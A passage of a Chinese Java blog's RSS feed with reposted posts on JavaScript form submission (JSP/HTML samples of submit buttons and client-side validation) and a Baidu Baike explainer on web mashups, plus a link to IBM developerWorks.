/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; new:&nbsp;&nbsp;&nbsp;&nbsp; ~</p></span></div><img src ="http://www.blogjava.net/xiaomage234/aggbug/366048.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/xiaomage234/" target="_blank">小马歌</a> 2011-12-10 19:45 <a href="http://www.blogjava.net/xiaomage234/archive/2011/12/10/366048.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>javascript表单提交【转】</title><link>http://www.blogjava.net/xiaomage234/archive/2011/11/23/364666.html</link><dc:creator>小马歌</dc:creator><author>小马歌</author><pubDate>Wed, 23 Nov 2011 11:32:00 GMT</pubDate><guid>http://www.blogjava.net/xiaomage234/archive/2011/11/23/364666.html</guid><wfw:comment>http://www.blogjava.net/xiaomage234/comments/364666.html</wfw:comment><comments>http://www.blogjava.net/xiaomage234/archive/2011/11/23/364666.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/xiaomage234/comments/commentRss/364666.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/xiaomage234/services/trackbacks/364666.html</trackback:ping><description><![CDATA[总结得不错。<br /><br /><div><span style="color: #4b4b4b; font-family: verdana, Arial, helvetica, sans-seriff; font-size: 12px; line-height: 19px; "><p>1、按钮为button，可在js中调用formName.submit()显性提交。若是submit按钮，则不能再这样加提交语句，否则会提交两次。</p><p>2、一个input域中回车，会默认第一个submit属性的按钮提交。若都是butoon属性，则回车不会提交表单。</p><p>3、有时提交表单后不能刷新页面，即没有action=""的情况，&lt;form name="hand" method="post" onSubmit="javascript:return handle();"&gt;（此时在handle()中进行处理后会返回一个false）或者&lt;form name="hand" method="post" onSubmit="javascript:handle();return false"&gt;或者&lt;input type="button" id="addbt" name="addbt" value="增加关联" onClick="javascript:subList();return false;" /&gt;。这样做了后能保证只执行js代码后，本页面不刷新，也不提交到另一个页面。</p><p>//一般提交&nbsp;<br />function&nbsp;del(myform)&nbsp;<br />{&nbsp;<br />myform.target="_blank"&nbsp;//也可以是_self,_top,_parent,默认为_self&nbsp;<br />myform.action="trade_delete.asp";&nbsp;<br />myform.submit();&nbsp;&nbsp;<br />}&nbsp;<br /><br />//提交后对窗口的限制&nbsp;<br />function&nbsp;del(creator)&nbsp;<br />{&nbsp;<br />creator.target="preview";&nbsp;<br />creator.action="register_check.asp";&nbsp;<br />var&nbsp;win&nbsp;=&nbsp;window.open("about:blank","preview","toolbar=no,directories=no,status=no,menubar=no,scrollbars=yes,resizable=no,width=250,height=25,top=250,left=300");&nbsp;<br />win.focus();&nbsp;<br />creator.submit();&nbsp;<br />}&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><div><div><div><li><span>总结下这么几种的方法: &nbsp;&nbsp;</span></li><li>1,通过type=submit&nbsp;或者图片的submti来提交(图片的这种方法很不错) &nbsp;&nbsp;</li><li>2,通过在imput里面加onclick来写个方法来做提交前的验证.type可以是button.,反正多个浏览器&nbsp;&nbsp;</li><li>&nbsp;&nbsp;&nbsp;做的时候,试验一下. &nbsp;&nbsp;</li><li>3,还有可以通过在form里面加onsubmit来验证. &nbsp;&nbsp;</li><li>4,通过在javascript的方法里头,用submit()方法来提交 &nbsp;&nbsp;</li><li>&nbsp;&nbsp;具体得到这个form的方法有: &nbsp;&nbsp;</li><li>oForm&nbsp;=&nbsp;document.getElementById("form1"); &nbsp;&nbsp;</li><li>oForm&nbsp;=&nbsp;document.forms("form1"); &nbsp;&nbsp;</li><li>oForm&nbsp;=&nbsp;document.forms[0]; &nbsp;&nbsp;</li><li>//通过上面的几种可以得到form&nbsp;&nbsp;&nbsp;</li><li>oForm.submit();&nbsp;</li></div></div><div></div><div>xml 代码</div><div><div></div><ol><li><span>&lt;%@&nbsp;page&nbsp;language="java"&nbsp;import="java.util.*"&nbsp;pageEncoding="gbk"%&gt;&nbsp;&nbsp;</span></li><li>&lt;html&gt;&nbsp;&nbsp;</li><li>&lt;script&nbsp;type="text/javascript"&gt;&nbsp;&nbsp;</li><li>&nbsp;&nbsp;&nbsp;&nbsp;function&nbsp;dosubmit()&nbsp;{ &nbsp;&nbsp;</li><li>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;alert("heihei"); &nbsp;&nbsp;</li><li>&nbsp;&nbsp;&nbsp;&nbsp;} &nbsp;&nbsp;</li><li><span>script&gt;&nbsp;&nbsp;</span></li><li>&lt;head&gt;javascript测试<span>head&gt;&nbsp;&nbsp;</span></li><li>&lt;body&gt;&nbsp;&nbsp;</li><li>&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;</li><li>&lt;hr&gt;&nbsp;&nbsp;</li><li>&nbsp;&nbsp;&nbsp;&nbsp;&lt;form&nbsp;action="print.jsp"&nbsp;method="post"&gt;&nbsp;&nbsp;</li><li>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;input&nbsp;type="text"&nbsp;name="hello"/&gt;&nbsp;&nbsp;</li><li>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;input&nbsp;type="submit"&nbsp;name="sub"&nbsp;value="提交"&nbsp;onclick="dosubmit()"/&gt;&nbsp;&nbsp;</li><li>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</li><li>&nbsp;&nbsp;&nbsp;&nbsp;<span>form&gt;&nbsp;&nbsp;</span></li><li><span>body&gt;&nbsp;&nbsp;</span></li><li><span>html&gt;&nbsp;&nbsp;</span></li></ol></div></div><p><strong></strong></p><p><strong>可以在函数里面做出验证.</strong></p><p><strong>这个要用onclick 来触发事件,onchange,试了下不行其他不行.</strong></p><p><strong>这里是用按钮.这里type用了submit</strong></p><div>xml 代码</div><div><div></div><ol><li><span>&lt;%@&nbsp;page&nbsp;language="java"&nbsp;import="java.util.*"&nbsp;pageEncoding="gbk"%&gt;&nbsp;&nbsp;</span></li><li>&lt;html&gt;&nbsp;&nbsp;</li><li>&lt;script&nbsp;type="text/javascript"&gt;&nbsp;&nbsp;</li><li>&nbsp;&nbsp;&nbsp;&nbsp;function&nbsp;dosubmit()&nbsp;{ &nbsp;&nbsp;</li><li>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;document.forms[0].submit(); &nbsp;&nbsp;</li><li>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;alert("^_^提交成功！"); &nbsp;&nbsp;</li><li>&nbsp;&nbsp;&nbsp;&nbsp;} &nbsp;&nbsp;</li><li><span>script&gt;&nbsp;&nbsp;</span></li><li>&lt;head&gt;javascript测试<span>head&gt;&nbsp;&nbsp;</span></li><li>&lt;body&gt;&nbsp;&nbsp;</li><li>&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;</li><li>&lt;hr&gt;&nbsp;&nbsp;</li><li>&nbsp;&nbsp;&nbsp;&nbsp;&lt;form&nbsp;action="print.jsp"&nbsp;method="post"&gt;&nbsp;&nbsp;</li><li>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;input&nbsp;type="text"&nbsp;name="hello"/&gt;&nbsp;&nbsp;</li><li>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;input&nbsp;type="button"&nbsp;name="sub"&nbsp;value="提交"&nbsp;onclick="dosubmit()"/&gt;&nbsp;&nbsp;</li><li>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</li><li>&nbsp;&nbsp;&nbsp;&nbsp;<span>form&gt;&nbsp;&nbsp;</span></li><li><span>body&gt;&nbsp;&nbsp;</span></li><li><span>html&gt;&nbsp;&nbsp;</span></li></ol></div><p><strong>&nbsp;这里type用button,用document.forms[0].submit()来提交.</strong></p><div>xml 代码</div><div><div></div><ol><li><span>&lt;%@&nbsp;page&nbsp;language="java"&nbsp;import="java.util.*"&nbsp;pageEncoding="gbk"%&gt;&nbsp;&nbsp;</span></li><li>&lt;html&gt;&nbsp;&nbsp;</li><li>&lt;script&nbsp;type="text/javascript"&gt;&nbsp;&nbsp;</li><li>&nbsp;&nbsp;&nbsp;&nbsp;function&nbsp;dosubmit()&nbsp;{ &nbsp;&nbsp;</li><li>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//document.forms[0].submit(); &nbsp;&nbsp;</li><li>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;alert("1111提交成功！"); &nbsp;&nbsp;</li><li>&nbsp;&nbsp;&nbsp;&nbsp;} &nbsp;&nbsp;</li><li><span>script&gt;&nbsp;&nbsp;</span></li><li>&lt;head&gt;javascript测试<span>head&gt;&nbsp;&nbsp;</span></li><li>&lt;body&gt;&nbsp;&nbsp;</li><li>&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;</li><li>&lt;hr&gt;&nbsp;&nbsp;</li><li>&nbsp;&nbsp;&nbsp;&nbsp;&lt;form&nbsp;action="print.jsp"&nbsp;method="post"&gt;&nbsp;&nbsp;</li><li>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;input&nbsp;type="text"&nbsp;name="hello"/&gt;&nbsp;&nbsp;z</li><li>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;input&nbsp;type="image"&nbsp;&nbsp;src="submit.bmp"&nbsp;name="sub"&nbsp;onclick="dosubmit()"/&gt;&nbsp;&nbsp;</li><li>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</li><li>&nbsp;&nbsp;&nbsp;&nbsp;<span>form&gt;&nbsp;&nbsp;</span></li><li><span>body&gt;&nbsp;&nbsp;</span></li><li><span>html&gt;&nbsp;&nbsp;</span></li><li></li><li></li><li></li><li></li><li></li><li>&lt;form name="form1" method="post" action="&lt;%=request.getContextPath()%&gt;/news/NewsTypeAddAction.sh"<h3><u>onSubmit="return actionCheck();"&gt;</u></h3><br />&lt;table&gt;<br />&lt;tr&gt;<br />&lt;td&gt;新闻类型编号&lt;/td&gt;<br />&lt;td&gt;<br />&lt;input type="text" name="typeid" onBlur="isDigit(this.value)"&gt; &lt;/td&gt;<br />&lt;/tr&gt;<br />&lt;tr&gt;<br />&lt;td&gt;新闻类型名称&lt;/td&gt;<br />&lt;td&gt;<br />&lt;input type="text" name="typename"&gt; &lt;/td&gt;<br />&lt;/tr&gt;<br />&lt;tr&gt;<br />&lt;td&gt;新闻存放目录名称&lt;/td&gt;<br />&lt;td&gt;<br />&lt;input type="text" name="dir"&gt; &lt;/td&gt;<br />&lt;/tr&gt;<br />&lt;tr&gt;<br />&lt;td&gt;使用模版名称&lt;/td&gt;<br />&lt;td&gt;<br />&lt;input type="text" name="templatename"&gt; &lt;/td&gt;<br />&lt;/tr&gt;<br />&lt;tr&gt;<br />&lt;td colspan="2"&gt;<br />&lt;div align="center"&gt;<br />&lt;input type="submit" name="Submit" value="Submit"&gt;<br />&lt;input type="reset" value="Reset"&gt;&nbsp;<br />&lt;/div&gt;&lt;/td&gt;<br />&lt;/tr&gt;<br />&lt;/table&gt;<br />&lt;/form&gt;<br /><strong>&lt;script type="text/javascript"&gt;<br />function isDigit(s)<br />{<br />var patrn=/^[0-9]{1,20}$/;<br />if (!patrn.exec(s)&amp;&amp;s!=""){<br />alert("请您输入数字!");<br />document.form1.typeid.value="";<br />document.form1.typeid.focus();<br />return false;<br />}<br />}<br /><br />function actionCheck()</strong></li><li><strong>{<br />&nbsp;&nbsp;&nbsp;&nbsp; if(document.form1.typeid.value=="")</strong></li><li><strong>&nbsp;&nbsp;&nbsp;&nbsp; {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp; alert("新闻类型编号不能为空!");<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;document.form1.typeid.value="";<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; document.form1.typeid.focus();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return false;<br />}<br />}<br />&lt;/script&gt;</strong></li></ol></div></span></div><img src ="http://www.blogjava.net/xiaomage234/aggbug/364666.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/xiaomage234/" target="_blank">小马歌</a> 2011-11-23 19:32 <a href="http://www.blogjava.net/xiaomage234/archive/2011/11/23/364666.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>ibm文档中心，很好的教程</title><link>http://www.blogjava.net/xiaomage234/archive/2011/11/19/364312.html</link><dc:creator>小马歌</dc:creator><author>小马歌</author><pubDate>Sat, 19 Nov 2011 04:58:00 GMT</pubDate><guid>http://www.blogjava.net/xiaomage234/archive/2011/11/19/364312.html</guid><wfw:comment>http://www.blogjava.net/xiaomage234/comments/364312.html</wfw:comment><comments>http://www.blogjava.net/xiaomage234/archive/2011/11/19/364312.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/xiaomage234/comments/commentRss/364312.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/xiaomage234/services/trackbacks/364312.html</trackback:ping><description><![CDATA[<div><a href="http://www.ibm.com/developerworks/cn/">http://www.ibm.com/developerworks/cn/</a></div><img src ="http://www.blogjava.net/xiaomage234/aggbug/364312.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/xiaomage234/" target="_blank">小马歌</a> 2011-11-19 12:58 <a href="http://www.blogjava.net/xiaomage234/archive/2011/11/19/364312.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>什么是Mashup</title><link>http://www.blogjava.net/xiaomage234/archive/2011/11/19/364310.html</link><dc:creator>小马歌</dc:creator><author>小马歌</author><pubDate>Sat, 19 Nov 2011 04:41:00 GMT</pubDate><guid>http://www.blogjava.net/xiaomage234/archive/2011/11/19/364310.html</guid><wfw:comment>http://www.blogjava.net/xiaomage234/comments/364310.html</wfw:comment><comments>http://www.blogjava.net/xiaomage234/archive/2011/11/19/364310.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/xiaomage234/comments/commentRss/364310.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/xiaomage234/services/trackbacks/364310.html</trackback:ping><description><![CDATA[<div><span style="font-family: arial, 宋体, sans-serif; line-height: 25px; "><div><span style="line-height: 24px; "><div id="lemmaContent-0" style="letter-spacing: 0.5px; width: 690px; overflow-x: hidden; overflow-y: hidden; float: left; "><h2>简介</h2>　　一般使用源应用的API接口，或者是一些rss输出（含atom）作为内容源，合并的web应用用什么技术，则没有什么限制。mashup在geek群体和互联网玩家之中获得了极大的欢迎，mashup未必需要很高的编程技能，只需要熟悉api和网络服务工作方式，都能进行开发，所以很快成为一个流行的网络现象。很多公司例如yahoo/google都为此提供开放接口，以吸引这个群体。<div style="height: 14px; line-height: 14px; font-size: 12px; overflow-x: hidden; overflow-y: hidden; "></div>　　Mashup 是一个非常cool的新的<a target="_blank" href="http://baike.baidu.com/view/330120.htm" style="text-decoration: underline; color: #136ec2; ">应用程序</a>种类。如果你想真正的了解它们，我们需要回过头来看看你现在的计算机，其实它就是一个非常好的帮助你理解Mashup的模型。计算机运行着<a target="_blank" href="http://baike.baidu.com/view/880.htm" style="text-decoration: underline; color: #136ec2; ">操作系统</a>，例如Windows。现在开源的操作系统无疑是一个非常好的APIs 的集合或者一个<a target="_blank" href="http://baike.baidu.com/view/185287.htm" style="text-decoration: underline; color: #136ec2; ">应用程序编程接口</a>，帮助开发者去构建他们的应用程序。计算机本身也是一个很好的为用户提供接口的例子，键盘和鼠标可以被理解为你通过计算机的接口而使用的不同的应用程序。<div style="background-image: initial; background-attachment: initial; background-origin: initial; background-clip: initial; background-color: #f6f6f6; padding-top: 5px; padding-right: 5px; padding-bottom: 3px; padding-left: 5px; margin-top: 5px; margin-right: 5px; margin-bottom: 5px; margin-left: 5px; text-align: center; float: right; width: 195px; position: relative; visibility: visible; "><a title="查看图片" href="http://baike.baidu.com/albums/241257/241257.html#0$969cbf44b2be60eab3b7dc57" target="_blank" style="text-decoration: none; color: #136ec2; background-image: url(http://img.baidu.com/img/baike/s/zoom.gif); background-attachment: initial; background-origin: initial; background-clip: initial; background-color: initial; width: 14px; height: 14px; font-size: 0px; line-height: 0; display: block; position: absolute; right: 4px; bottom: 4px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: #f6f6f6; border-right-color: #f6f6f6; border-bottom-color: #f6f6f6; border-left-color: #f6f6f6; background-position: 0px 0px; background-repeat: no-repeat no-repeat; ">&nbsp;&nbsp;</a><a href="http://baike.baidu.com/albums/241257/241257.html#0$969cbf44b2be60eab3b7dc57" target="_blank" style="text-decoration: underline; color: #136ec2; "><img log-set-param"="" log-set-param="img_view" title="Mashup" src="http://imgsrc.baidu.com/baike/abpic/item/969cbf44b2be60eab3b7dc57.jpg" style="border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; display: block; "  alt="" /></a><p style="margin-top: 3px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 10px; padding-bottom: 0px; padding-left: 0px; color: #666666; font-size: 12px; font-family: 宋体; font-weight: normal; display: inline; word-wrap: break-word; word-break: break-all; font-style: normal; line-height: 18px; min-height: 18px; zoom: 1; ">Mashup</p></div>一个API可能是帮助电脑接入网络又或者用来提供显示功能。总之，这些APIs 帮助开发者更加容易的去构建他们的应用程序。在过去开发者需要描绘每一个点显示的位置，而现在仅仅需要给出对称坐标，就可以完成一个窗口的绘制。<div style="height: 14px; line-height: 14px; font-size: 12px; overflow-x: hidden; overflow-y: hidden; "></div>　　APIs做的事情是这样的。假如你访问文件系统，那么你所需得到APIs，这是计算机工作的途径。然后你就可以在一个窗口里运行一个应用程序。人们开发一个应用程序通常需要3或4个不同的APIs,或许更多。<div style="height: 30px; line-height: 30px; overflow-x: hidden; overflow-y: hidden; "></div><h2><span editable-title"="" data-edit-id="241257:241257:2" style="font-size: 12px; float: right; display: block; margin-top: 10px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #3366cc; font-weight: normal; "><a href="http://baike.baidu.com/view/241257.htm#" style="text-decoration: underline; color: #136ec2; height: 15px; line-height: 16px; background-image: url(http://img.baidu.com/img/baike/s/edit.gif); background-attachment: initial; background-origin: initial; background-clip: initial; background-color: initial; display: block; width: 52px; padding-left: 18px; background-position: 0% 50%; background-repeat: no-repeat no-repeat; ">编辑本段</a></span><a name="2" style="text-decoration: underline; color: rgb(19, 110, 194); "></a>运行方式</h2>　　这是一个计算机传统的运行方式。现在，我们将Windows，操作系统替换成网络。那么同样的，就会有许多公司来提供哪些APIs。比如yahoo,google.例如一个叫EVDB的公司，它是一个事件日历的数据库，可以提醒你什么时间到哪里做什么事情。也包括像 Amazon 和 eBay，又比如Technorati ，所有这些不同的公司把APIs放到网上使开发者可以访问。<div style="height: 14px; line-height: 14px; font-size: 12px; overflow-x: hidden; overflow-y: hidden; "></div>　　现在假如你是一个Web开发者，你通过一个API 找到你附近哪些地方会有犯罪。然后你访问Google 地图API，把这两个内容整合在一起，那么你就得到了一个标有犯罪纪录的地图。这个新的地图就叫Mashup。因为开发者通过来自多个网站的APIs，把他们合并在一起，成为了一个新的很cool的应用程序。<div style="height: 30px; line-height: 30px; overflow-x: hidden; overflow-y: hidden; "></div><h2><span editable-title"="" data-edit-id="241257:241257:3" style="font-size: 12px; float: right; display: block; margin-top: 10px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #3366cc; font-weight: normal; "><a href="http://baike.baidu.com/view/241257.htm#" style="text-decoration: underline; color: #136ec2; height: 15px; line-height: 16px; background-image: url(http://img.baidu.com/img/baike/s/edit.gif); background-attachment: initial; background-origin: initial; background-clip: initial; background-color: initial; display: block; width: 52px; padding-left: 18px; background-position: 0% 50%; background-repeat: no-repeat no-repeat; ">编辑本段</a></span><a name="3" style="text-decoration: underline; color: rgb(19, 110, 194); "></a>目前</h2>　　越来越多的APIs被开放，这是一个比较明确的方向，每天都会有大概2.5个Mashup产生，预计到2007年每天Mashup的产生数量会增加到10个。<div style="height: 14px; line-height: 14px; font-size: 12px; overflow-x: hidden; overflow-y: hidden; "></div>　　之所以，一天会有10个Mashup产生是因为，开发将会变得越来越容易，你不用再必须变成一个C语言程序员去展示你的创造力，你可以开发很Cool的应用，例如哪里有停车空位的地图，就像在California得Bay 地区的 ParkingCarma 所做的那样。又或者你开发一个地图标记出你的邻居和你想去会见某人，这其实也已经是一个事实存在的应用了，FrozenBear公司正在做这方面的开发。<div style="height: 14px; line-height: 14px; font-size: 12px; overflow-x: hidden; overflow-y: hidden; "></div>　　我们展示这些Mashup的同时，又有新的APIs随时发布到网上，这就形成了一个生态系统，而且这个生态系统比目前现存的所有生态系统都会增长的更快。Windows，你必须成为一个程序员才可以开发应用程序，Linux，Macintosh也同样是如此，但是Mashup却不必， 它将会是今天增长速度最快的一个生态体统。<div style="height: 30px; line-height: 30px; overflow-x: hidden; overflow-y: hidden; "></div><h2><span editable-title"="" data-edit-id="241257:241257:4" style="font-size: 12px; float: right; display: block; margin-top: 10px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #3366cc; font-weight: normal; "><a href="http://baike.baidu.com/view/241257.htm#" style="text-decoration: underline; color: #136ec2; height: 15px; line-height: 16px; background-image: url(http://img.baidu.com/img/baike/s/edit.gif); background-attachment: initial; background-origin: initial; background-clip: initial; background-color: initial; display: block; width: 52px; padding-left: 18px; background-position: 0% 50%; background-repeat: no-repeat no-repeat; ">编辑本段</a></span><a name="4" style="text-decoration: underline; color: rgb(19, 110, 194); "></a>发展</h2>　　<div style="background-image: initial; background-attachment: initial; background-origin: initial; background-clip: initial; background-color: #f6f6f6; padding-top: 5px; padding-right: 5px; padding-bottom: 3px; padding-left: 5px; margin-top: 5px; margin-right: 5px; margin-bottom: 5px; margin-left: 5px; text-align: center; float: right; width: 199px; position: relative; visibility: visible; "><a title="查看图片" href="http://baike.baidu.com/albums/241257/241257.html#0$0b907cd92a596e4410df9b50" target="_blank" style="text-decoration: none; color: #136ec2; background-image: url(http://img.baidu.com/img/baike/s/zoom.gif); background-attachment: initial; background-origin: initial; background-clip: initial; background-color: initial; width: 14px; height: 14px; font-size: 0px; line-height: 0; display: block; position: absolute; right: 4px; bottom: 4px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: #f6f6f6; border-right-color: #f6f6f6; border-bottom-color: #f6f6f6; border-left-color: #f6f6f6; background-position: 0px 0px; background-repeat: no-repeat no-repeat; ">&nbsp;&nbsp;</a><a href="http://baike.baidu.com/albums/241257/241257.html#0$0b907cd92a596e4410df9b50" target="_blank" style="text-decoration: underline; color: #136ec2; "><img log-set-param"="" log-set-param="img_view" title="Windows" src="http://imgsrc.baidu.com/baike/abpic/item/0b907cd92a596e4410df9b50.jpg" style="border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; display: block; "  alt="" /></a><p style="margin-top: 3px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 10px; padding-bottom: 0px; padding-left: 0px; color: #666666; font-size: 12px; font-family: 宋体; font-weight: normal; display: inline; word-wrap: break-word; word-break: break-all; font-style: normal; line-height: 18px; min-height: 18px; zoom: 1; ">Windows</p></div>Mashup 不仅仅是发展的很快，更好的一个地方是你不再需通过某人才可以发布一个新API到网上。以前你必须要通过<a target="_blank" href="http://baike.baidu.com/view/2353.htm" style="text-decoration: underline; color: #136ec2; ">微软</a>才可以发布一个新的API加入到Windows，这种情况同样出现在Macintosh。另，尽管你也许可以添加一个API直接到Linux，因为它是开源的，但是这对大多开发者来说并不具备这样的权利。<div style="height: 14px; line-height: 14px; font-size: 12px; overflow-x: hidden; overflow-y: hidden; "></div>　　另外，你在发布了一个API到网上之后，不需要再通过谁去批准它，它会自动对所有开发者有效。所有的不同的APIs都会成为更多Mashup的燃料。<div style="height: 14px; line-height: 14px; font-size: 12px; overflow-x: hidden; overflow-y: hidden; "></div>　　越来越多的Mashup出现在网上，越来越多的网络用户去使用这些新的Mashup应用程序。越来越多的开发者加入到开发Mashup这个生态系统当中。在未来两年，你将可以听到关于Mashup的信息。<div style="height: 30px; line-height: 30px; overflow-x: hidden; overflow-y: hidden; "></div><h2><span editable-title"="" data-edit-id="241257:241257:5" style="font-size: 12px; float: right; display: block; margin-top: 10px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #3366cc; font-weight: normal; "><a href="http://baike.baidu.com/view/241257.htm#" style="text-decoration: underline; color: #136ec2; height: 15px; line-height: 16px; background-image: url(http://img.baidu.com/img/baike/s/edit.gif); background-attachment: initial; background-origin: initial; background-clip: initial; background-color: initial; display: block; width: 52px; padding-left: 18px; background-position: 0% 50%; background-repeat: no-repeat no-repeat; ">编辑本段</a></span><a name="5" style="text-decoration: underline; color: rgb(19, 110, 194); "></a>典型应用</h2><h3><a name="5_1" style="text-decoration: underline; color: rgb(19, 110, 194); "></a>地图 Mashup</h3>　　在这个阶段的<a target="_blank" href="http://baike.baidu.com/view/3226.htm" style="text-decoration: underline; color: #136ec2; ">信息技术</a>中，人们搜集大量有关事物和行为的数据，二者都常常具有位置注释信息。所有这些包含位置数据的不同数据集均可利用地图通过令人惊奇的图形化方式呈现出来。mashup 蓬勃发展的一种主要动力就是 Google 公开了自己的 Google Maps API。这仿佛打开了一道大门，让 Web 开发人员(包括爱好者、修补程序开发人员和其他一些人)可以在地图中包含所有类型的数据(从原子弹灾难到<a target="_blank" href="http://baike.baidu.com/view/88690.htm" style="text-decoration: underline; color: #136ec2; ">波士顿</a>的 CowParade 奶牛都可以)。为了不落于人后，Microsoft(Virtual Earth)、Yahoo(Yahoo Maps)和 AOL(MapQuest)也很快相继公开了自己的 API。<h3><a name="5_2" style="text-decoration: underline; color: rgb(19, 110, 194); "></a>视频和图象 Mashup</h3>　　图像主机和<a target="_blank" href="http://baike.baidu.com/view/1405540.htm" style="text-decoration: underline; color: #136ec2; ">社交网络</a>站点(例如 Flickr 使用自己的 API 来共享图像)的兴起导致出现了很多有趣的 mashup。由于内容提供者拥有与其保存的图像相关的元数据(例如谁拍的照片，照片的内容是什么，在何时何地拍摄的等等)，mashup 的设计者可以将这些照片和其他与元数据相关的信息放到一起。例如，mashup 可以对歌曲或诗词进行分析，从而将相关照片拼接在一起，或者基于相同的照片元数据(标题、时间戳或其他元数据)显示社交网络图。另外一个例子可能以一个 Web 站点(例如 CNN 之类的新闻站点)作为输入，并在新闻中通过照片匹配而将照片中的内容以文字的形式呈现出来。<h3><a name="5_3" style="text-decoration: underline; color: rgb(19, 110, 194); "></a>搜索和购物 Mashup</h3>　　搜索和购物 mashup 在 mashup 这个术语出现之前就已经存在很长时间了。在 Web API 出现之前，有相当多的购物工具，例如 BizRate、PriceGrabber、MySimon 和 Google 的 Froogle，都使用了 B2B 技术或屏幕抓取的方式来累计相关的价格数据。为了促进 mashup 和其他有趣的 Web 应用程序的发展，诸如 eBay 和 Amazon 之类的消费网站已经为通过编程访问自己的内容而发布了自己的 API。<h3><a name="5_4" style="text-decoration: underline; color: rgb(19, 110, 194); "></a>新闻 Mashup</h3>　　新闻源(例如纽约时报、BBC 或路透社)已从 2002 年起使用 RSS 和 Atom 之类的联合技术来发布各个主题的新闻提要。以联合技术为基础的 mashup 可以聚集一名用户的提要，并将其通过 Web 呈现出来，创建个性化的报纸，从而满足读者独特的兴趣。<h3><a name="5_5" style="text-decoration: underline; color: rgb(19, 110, 194); "></a>微博 Mashup</h3>　　将多个微博在一个平台上进行聚合显示， 在一个平台上可以同时绑定多个微博(腾讯微博、新浪微博、搜狐微博、网易微博、人人网、豆瓣、饭否、嘀咕、Follow5、天涯微博、人间网、做啥、9911、同学网、开心网等)，从而满足用户同步多个平台的要求，提供了微博信息汇总表，让用户方便查看自己所有平台的粉丝，关注和微博数，轻松实现在不同微博间自由切换。并且提供多微博评论列表读取，跨平台分享，聚合收藏等功能。使用户可在同一屏幕中同步收发信息，实现了真正意义上的社交网站双向聚合。类似网站功能的有玛撒网，微博通等。<div style="height: 30px; line-height: 30px; overflow-x: hidden; overflow-y: hidden; clear: both; "></div><div style="clear: both; font-size: 0px; line-height: 0; height: 0px; visibility: visible; "></div></div><div style="clear: both; font-size: 0px; line-height: 0; height: 0px; visibility: visible; "></div><div id="lemmaExtend" style="font-size: 12px; "><dl log-set-param"="" data-nslog-type="1" id="viewExtRead" log-set-param="ext_reader" style="margin-top: 0px; margin-right: 0px; margin-bottom: 30px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "><dt style="margin-top: 0px; 